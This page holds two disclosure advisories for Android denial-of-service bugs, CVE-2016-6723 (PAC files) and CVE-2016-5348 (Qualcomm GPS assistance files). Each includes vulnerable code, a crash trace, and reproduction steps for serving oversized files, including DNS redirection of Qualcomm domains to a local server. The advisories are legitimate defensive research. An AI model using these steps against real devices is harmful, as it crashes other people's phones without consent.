Mobile phone operating systems and other applications talk to other servers behind users’ back all the time. I will discuss how to leverage those channels by network ­level and state ­level attackers leading to phone crashes, and further steps towards full exploitation. I will also discuss several related vulnerabilities in non­ OS applications that are similar and implications for users and developers.

Advisory: Crashing Android devices with large Proxy Auto Config (PAC) Files [CVE-2016-6723]

Summary

Android devices can be crashed forcing a halt and then a soft reboot by downloading a large proxy auto config (PAC) file when adjusting the Android networking settings. This can also be exploited by an MITM attacker that can intercept and replace the PAC file. However, the bug is mitigated by multiple factors and the likelihood of exploitation is low.

This issue has been fixed in the November 2016 Android security bulletin.

Background – Proxy Auto Config (PAC) Files

Proxy Auto Config (PAC) files are text files that can be used as part of the network settings configuration to allow a web browser and other software that accesses the web. These files define which proxy servers should be used for which types of requests. They usually contain a Javascript function which can be called by the web browser to determine the type of proxy server to use. An example PAC file appears here:

function FindProxyForURL(url, host) {
  if (isResolvable(host))
    return "DIRECT";
  else
    return "PROXY proxy.mydomain.com:8080";
  }
}

A related standard called Web Proxy Auto-Discovery Protocol (WPAD) allows devices to find the locations of PAC files via DHCP and/or DNS. However, WPAD is not currently supported on Android.

Vulnerability Details

When configuring a network in Android, one of the options available in the “Advanced” section is ability to indicate a Proxy Auto Config (PAC) URL which will point to a PAC file described above. The current code in Android does not check whether the PAC file may be too large to load into memory, which allows an MITM attacker to replace a known PAC file (if served without SSL) with a large one of their own and crash the Android phone.

Example of settings dialog in Android:

pac-screen

The vulnerability is that the Java code does not check how large the data file actually is. If a file is served that is larger than the memory available on the device, this results in all memory being exhausted and the phone halting and then soft rebooting. The soft reboot was sufficient to recover from the crash and no data was lost. While we have not been able to achieve remote code execution, this code path can potentially be exploited for such attacks and would require more research.

The vulnerable code resides here – (PacManager.java, lines 120-127):

private static String get(Uri pacUri) throws IOException {
  URL url = new URL(pacUri.toString());
  URLConnection urlConnection = url.openConnection(java.net.Proxy.NO_PROXY);
  return new String(Streams.readFully(urlConnection.getInputStream()));
}

Specifically, the affected code is using Streams.readFully to read the entire file into memory without any kind of checks on how big the file actually is.

Because this attack require a user to configure a PAC file, and an attacker to be present and know about that file, and the file needs to be served without SSL to make the attack work, the possibility of an attacker pulling this off is low. This is also true because Android, unlike other operating systems does not support the WPAD protocol to retrieve PAC files automatically which can be exploited using a rouge access point or network.

Steps To Replicate (on Ubuntu 16.04)

1. Install NGINX:

sudo apt-get install nginx

2. Use fallocate to create a large PAC file in “/var/www/html/”

sudo fallocate -s 2.5G test.pac

3. Go in to advanced network settings on the Android device and add the following URL as the PAC URL: http://192.168.1.x/test.pac

Save the settings which will trigger the bug. Once the phone starts downloading the files, the screen will go black and it will reboot.

Mitigation Steps

Users should apply the November 2016 Android bulletin.

Bounty Information

This bug has fulfilled the requirements for Google’s Android Security Rewards and a bounty has been paid.

References

Android security bulletin: November 2016
CVE-ID: CVE-2016-6723
Google: Android bug # 215709 / AndroidID-30100884
Netscape PAC file format definition: here (via the Internet Archive)
WPAD Internet Draft: here
WPAD not supported on Android: see bug report here

Credits

Bug discovered by, and advisory written by Yakov Shafranovich.

Timeline

2016-07-11: Android bug report filed with Google
2016-07-19: Android bug confirmed as high
2016-08-18: Bug priority downgraded to moderate
2016-09-15: Coordination with Google on public disclosure
2016-11-07: Android security bulletin released with fix
2016-11-07: Public disclosure

Advisory: Crashing Android devices with large Assisted-GPS Data Files [CVE-2016-5348]

Summary

Android devices can be crashed remotely forcing a halt and then a soft reboot by a MITM attacker manipulating assisted GPS/GNSS data provided by Qualcomm. This issue affects the open source code in AOSP and proprietary code in a Java XTRA downloader provided by Qualcomm.

The Android issue was fixed by in the October 2016 Android bulletin. Additional patches have been issued by Qualcomm to the proprietary client in September of 2016.

This issue may also affect other platforms that use Qualcomm GPS chipsets and consume these files but that has not been tested by us, and requires further research.

Background – GPS and gpsOneXtra

Most mobile devices today include ability to locate themselves on the Earth’s surface by using the Global Positioning System (GPS), a system originally developed and currently maintained by the US military. Similar systems developed and maintained by other countries exist as well including Russia’s GLONASS, Europe’s Galileo, and China’s Beidou.

The GPS signals include an almanac which lists orbit and status information for each of the satellites in the GPS constellation. This allows the receivers to acquire the satellites quicker since the receiver would not need to search blindly for the location of each satellite. Similar functionality exists for other GNSS systems.

In order to solve the problem of almanac acquisition, Qualcomm developed the gpsOneXtra system in 2007 (also known as IZat XTRA Assistance since 2013). This system provides ability to GPS receivers to download the almanac data over the Internet from Qualcomm-operated servers. The format of these XTRA files is proprietary but seems to contain current satellite location data plus estimated locations for the next 7 days, as well as additional information to improve signal acquisition. Most Qualcomm mobile chipsets and GPS chips include support for this technology. A related Qualcomm technology called IZat adds ability to use WiFi and cellular networks for locations in addition to GPS.

Additional diagram of the system as described in Qualcomm’s informational booklet:

gps

Background – Android and gpsOneXtra Data Files

During our network monitoring of traffic originating from an Android test device, we discovered that the device makes periodic calls to the Qualcomm servers to retrieve gpsOneXtra assistance files. These requests were performed almost every time the device connected to a WiFi network. As discovered by our research and confirmed by the Android source code, the following URLs were used:

http://xtra1.gpsonextra.net/xtra.bin
http://xtra2.gpsonextra.net/xtra.bin
http://xtra3.gpsonextra.net/xtra.bin

http://xtrapath1.izatcloud.net/xtra2.bin
http://xtrapath2.izatcloud.net/xtra2.bin
http://xtrapath3.izatcloud.net/xtra2.bin

WHOIS record show that both domains – gpsonextra.net and izatcloud.net are owned by Qualcomm. Further inspection of those URLs indicate that both domains are being hosted and served from Amazon’s Cloudfront CDN service (with the exception of xtra1.gpsonextra.net which is being served directly by Qualcomm).

On the Android platform, our inspection of the Android source code shows that the file is requested by an OS-level Java process (GpsXtraDownloader.java), which passes the data to a C++ JNI class (com_android_server_location_GnssLocationProvider.cpp), which then injects the files into the Qualcomm modem or firmware. We have not inspected other platforms in detail, but suspect that a similar process is used.

Our testing was performed on Android v6.0, patch level of January 2016, on a Motorola Moto G (2nd gen) GSM phone, and confirmed on a Nexus 6P running Android v6.01, with May 2016 security patches.

Qualcomm has additionally performed testing on their proprietary Java XTRA downloader client confirming this vulnerability.

Vulnerability Details

Android platform downloads XTRA data files automatically when connecting to a new network. This originates from a Java class (GpsXtraDownloader.java), which then passes the file to a C++/JNI class (com_android_server_location_GnssLocationProvider.cpp) and then injects it into the Qualcomm modem.

diagram

The vulnerability is that both the Java and the C++ code do not check how large the data file actually is. If a file is served that is larger than the memory available on the device, this results in all memory being exhausted and the phone halting and then soft rebooting. The soft reboot was sufficient to recover from the crash and no data was lost. While we have not been able to achieve remote code execution in either the Qualcomm modem or in the Android OS, this code path can potentially be exploited for such attacks and would require more research.

To attack, an MITM attacker located anywhere on the network between the phone being attacked and Qualcomm’s servers can initiate this attack by intercepting the legitimate requests from the phone, and substituting their own, larger files. Because the default Chrome browser on Android reveals the model and build of the phone (as we have written about earlier), it would be possible to derive the maximum memory size from that information and deliver the appropriately sized attack file. Possible attackers can be hostile hotspots, hacked routers, or anywhere along the backbone. This is somewhat mitigated by the fact that the attack file would need to be as large as the memory on the phone.

The vulnerable code resides here – (GpsXtraDownloader.java, lines 120-127):

connection.connect();

int statusCode = connection.getResponseCode();

if (statusCode != HttpURLConnection.HTTP_OK) {

if (DEBUG) Log.d(TAG, “HTTP error downloading gps XTRA: “

+ statusCode);

return null;

}

return Streams.readFully(connection.getInputStream());

Specifically, the affected code is using Streams.readFully to read the entire file into memory without any kind of checks on how big the file actually is.

Additional vulnerable code is also in the C++ layer – (com_android_server_location_GnssLocationProvider.cpp, lines 856-858):

jbyte* bytes = (jbyte *)env->GetPrimitiveArrayCritical(data, 0);

sGpsXtraInterface->inject_xtra_data((char *)bytes, length);

env->ReleasePrimitiveArrayCritical(data, bytes, JNI_ABORT);

Once again, no size checking is done.

We were able to consistently crash several different Android phones via a local WiFi network with the following error message:

java.lang.OutOfMemoryError: Failed to allocate a 478173740 byte allocation with 16777216 free bytes and 252MB until OOM
at java.io.ByteArrayOutputStream.expand(ByteArrayOutputStream.java:91)
at java.io.ByteArrayOutputStream.write(ByteArrayOutputStream.java:201)
at libcore.io.Streams.readFullyNoClose(Streams.java:109)
at libcore.io.Streams.readFully(Streams.java:95)
at com.android.server.location.GpsXtraDownloader.doDownload(GpsXtraDownloader.java:124)
at com.android.server.location.GpsXtraDownloader.downloadXtraData(GpsXtraDownloader.java:90)
at com.android.server.location.GpsLocationProvider$10.run(GpsLocationProvider.java:882)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1113)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:588)
at java.lang.Thread.run(Thread.java:818)

(It should be noted that we were not able to consistently and reliable achieve a crash in the C++/JNI layer or the Qualcomm modem itself)

Steps To Replicate (on Ubuntu 16.04)

1. Install DNSMASQ:

sudo apt-get install dnsmasq

2. Install NGINX:

sudo apt-get install nginx

3. Modify the /etc/hosts file to add the following entries to map to the IP of the local computer (varies by vendor of the phone):

192.168.1.x xtra1.gpsonextra.net
192.168.1.x xtra2.gpsonextra.net
192.168.1.x xtra3.gpsonextra.net
192.168.1.x xtrapath1.izatcloud.net
192.168.1.x xtrapath2.izatcloud.net
192.168.1.x xtrapath3.izatcloud.net

4. Configure /etc/dnsmasq.conf file to listed on the IP:

listen-address=192.168.1.x

5. Restart DNSMASQ:

sudo /etc/init.d/dnsmasq restart

6. Use fallocate to create the bin files in “/var/www/html/”

sudo fallocate -s 2.5G xtra.bin
sudo fallocate -s 2.5G xtra2.bin
sudo fallocate -s 2.5G xtra3.bin

7. Modify the settings on the Android test phone to static, set DNS to point to “192.168.1.x”. AT THIS POINT – Android will resolve DNS against the local computer, and serve the GPS files from it.

To trigger the GPS download, disable WiFi and enable Wifi, or enable/disable Airplane mode. Once the phone starts downloading the files, the screen will go black and it will reboot.

PLEASE NOTE: on some models, the XTRA file is cached and not retrieved on every network connect. For those models, you may need to reboot the phone and/or follow the injection commands as described here. You can also use an app like GPS Status and ToolboxGPS Status and Toolbox.

The fix would be to check for file sizes in both Java and native C++ code.

Mitigation Steps

For the Android platform, users should apply the October 2016 Android security bulletin and any patches provided by Qualcomm. Please note that as per Qualcomm, the patches for this bug only include fixes to the Android Open Source Project (AOSP) and the Qualcomm Java XTRA downloader clients.

Apple and Microsoft have indicated to us via email that GPS-capable devices manufactured by them including iPad, iPhones, etc. and Microsoft Surface and Windows Phone devices are not affected by this bug.

Blackberry devices powered by Android are affected but the Blackberry 10 platform is not affected by this bug.

For other platforms, vendors should follow guidance provided by Qualcomm directly via an OEM bulletin.

Bounty Information

This bug has fulfilled the requirements for Google’s Android Security Rewards and a bounty has been paid.

References

Android security bulletin: October 2016
CERT/CC tracking: VR-179
CVE-ID: CVE-2016-5348
GNSS sample almanacs: here
Google: Android bug # 213747 / AndroidID-29555864; Android patch here
gpsOneXTRA information booklet: archived version here

CVE Information

As provided by Qualcomm:

CVE: CVE-2016-5348
Access Vector: Network
Security Risk: High
Vulnerability: CWE-400: Uncontrolled Resource Consumption (‘Resource Exhaustion’)
Description: When downloading a very large assistance data file, the client may crash due to out of memory error.
Change summary:

  1. check download size ContentLength before downloading data
  2. catch OOM exception

Credits

We would like to thank CERT/CC for helping to coordinate this process, and all of the vendors involved for helpful comments and a quick turnaround. This bug was discovered by Yakov Shafranovich, and the advisory was also written by Yakov Shafranovich.

Timeline

2016–06-20: Android bug report filed with Google
2016-06-21: Android bug confirmed
2016-06-21: Bug also reported to Qualcomm and CERT.
2016-09-14: Coordination with Qualcomm on public disclosure
2016-09-15: Coordination with Google on public disclosure
2016-10-03: Android security bulletin released with fix
2016-10-04: Public disclosure